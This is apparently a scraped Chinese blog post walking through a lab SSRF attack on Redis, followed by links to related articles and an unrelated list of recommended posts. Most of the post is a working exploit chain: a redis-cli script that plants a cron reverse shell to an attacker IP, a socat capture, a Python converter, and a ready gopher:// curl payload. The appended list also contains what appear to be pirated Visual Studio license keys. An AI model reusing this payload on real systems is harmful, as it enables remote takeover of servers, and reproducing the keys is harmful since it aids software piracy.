0x00实验环境

1、centos靶机(IP为:192.168.11.205,桥接模式)

2、kali黑客攻击主机(IP为:192.168.172.129,NAT模式)

0x01实验原理

这段payload的作用我们先说明一下,其作用是在靶机的/var/spool/cron临时目录下,利用ssrf漏洞写入黑客的redis数据库的操作,这样,黑客可以通过自己写入的redis数据库直接运行后获取靶机的shell

0x02实验步骤

(1)在centos靶机内部部署:

 注意:这里面的192.168.172.129/7999是我们kali的主机IP

echo -e "\n\n*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1\n\n"|/root/redis-2.8.3/src/redis-cli -h $1 -p $2 -x set 1
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dbfilename root
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 save
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 quit

其中

$1表示含有redis漏洞的主机IP(centos)

$2表示redis的开启的端口或者被转发之后的端口

将上述代码保存为bash.sh(注意修改redis的路径及IP)

(2)使用socat进行端口转发(注:如果没有安装socat的,请使用如下的命令行进行安装)

yum install socat

(3)使用socat进行redis的端口转发,这里需要保证你的centos的redis端口是开启的

(4)将产生的命令行复制出来,并使用python脚本进行过滤各种尖括号等的操作,这是为了让机器更好的识别,并保存为log.txt

过滤方法:

  • 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。

  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。

  • \r字符串替换成%0d%0a

  • 空白行替换为%0a

2019/05/17 12:05:20.576789 length=89 from=0 to=88
*3\r
$3\r
set\r
$1\r
1\r
$62\r */2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1 \r
< 2019/05/17 12:05:20.577165 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.581392 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/05/17 12:05:20.581966 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.587385 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/05/17 12:05:20.587804 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.591422 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/05/17 12:05:20.593302 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.597224 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/05/17 12:05:20.597551 length=5 from=0 to=4
+OK\r

python脚本为(建议使用python2的环境):

#coding: utf-8
import sys exp = '' with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

得到如下结果:

88*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

(5)使用CURL构造完整的请求

curl -v 'gopher://192.168.11.205:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

待续。。。。。

SSRF漏洞利用之Redis大神赐予shell的更多相关文章

  1. ssrf漏洞利用(内网探测、打redis)

    摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http.file.gopher.dict协议. file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描.端口探测,如果探测到637 ...

  2. SSRF——漏洞利用(二)

    0x01 概述 上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用. 0 ...

  3. SSRF漏洞(原理、漏洞利用、修复建议)

    介绍SSRF漏洞 SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞.一般情况下,SSRF攻击的目标是外网无法访问 ...

  4. 实战篇丨聊一聊SSRF漏洞的挖掘思路与技巧

    在刚结束的互联网安全城市巡回赛中,R师傅凭借丰富的挖洞经验,实现了8家SRC大满贯,获得了第一名的好成绩!R师傅结合自身经验并期许新手小白要多了解各种安全漏洞,并应用到实际操作中,从而丰富自己的挖洞经 ...

  5. SSRF漏洞的挖掘思路与技巧

    什么是SSRF? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法 ...

  6. SSRF漏洞详解

    0.SSRF简介 SSRF全称为Server-side Request Forgery,即服务端请求伪造攻击,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外 ...

  7. CVE-2017-9993 FFMpeg漏洞利用

    漏洞原理: 更改连接直接发送请求,造成ssrf 漏洞利用: 脚本地址:https://github.com/neex/ffmpeg-avi-m3u-xbin 用法: 生成一个读取/etc/passwd ...

  8. SSRF漏洞分析与利用

    转自:http://www.4o4notfound.org/index.php/archives/33/ 前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的 0x01 ...

  9. SSRF之利用dict和gopher吊打Redis

    SSRF之利用dict和gopher吊打Redis 写在前面 SSRF打Redis也是老生常谈的东西了,这里复现学习一下之前在xz看到某师傅写的关于SSRF利用dict和gopher打内网服务的文章, ...

随机推荐

  1. vs2019激活码

    Visual Studio 2019 Enterprise BF8Y8-GN2QH-T84XB-QVY3B-RC4DF Visual Studio 2019 Professional NYWVH-HT ...

  2. 说说Golang goroutine并发那些事儿

    摘要:今天我们一起盘点一下Golang并发那些事儿. Golang.Golang.Golang 真的够浪,今天我们一起盘点一下Golang并发那些事儿,准确来说是goroutine,关于多线程并发,咱 ...

  3. 实战交付一套dubbo微服务到k8s集群(7)之交付dubbo服务的消费者集群到K8S

    构建dubbo-demo-consumer,可以使用和dubbo-demo-service的流水线来构建 1.登录jenkins构建dubbo-demo-consumer 2.填写构建dubbo-de ...

  4. Python——Django框架——邮件

    #引用EMAIL服务 EMAIL_BACKEND = 'django.cpre.mail.backends.smtp.EmailBackend' #EMAIL发送服务器 EMAIL_HOST = 's ...

  5. leetcode 1 两数之和 hashmap

    主要是hashmap.还有边插入边查找,提高效率和降低空间复杂度. 之前一直用map,结果发现还有hashmap,效率更高. 注意名称空间为 using namespace __gnu_cxx; 问题 ...

  6. how to create react custom hooks with arguments

    how to create react custom hooks with arguments React Hooks & Custom Hooks // reusable custom ho ...

  7. Regular Expression & rgb2hex

    Regular Expression & rgb2hex regex // 颜色字符串转换 function rgb2hex(sRGB = 'rgb(255, 255, 255)') { co ...

  8. wifi IP address scanner on macOS

    wifi IP address scanner on macOS Nmap Network Scanning https://nmap.org/book/inst-macosx.html https: ...

  9. HTTP vs HTTP/2 vs HTTP/3 (QUIC)

    HTTP vs HTTP/2 vs HTTP/3 (QUIC) Nginx HTTP/1.1 HTTP/2 HTTP/3 (QUIC) HTTPS 计算机网络协议 OSI 协议簇 (7) TCP/IP ...

  10. html tag filter in js

    html tag filter in js const html = `可当天预订,必须21时15分之前下单,要求必须<font color=green><b>60</b ...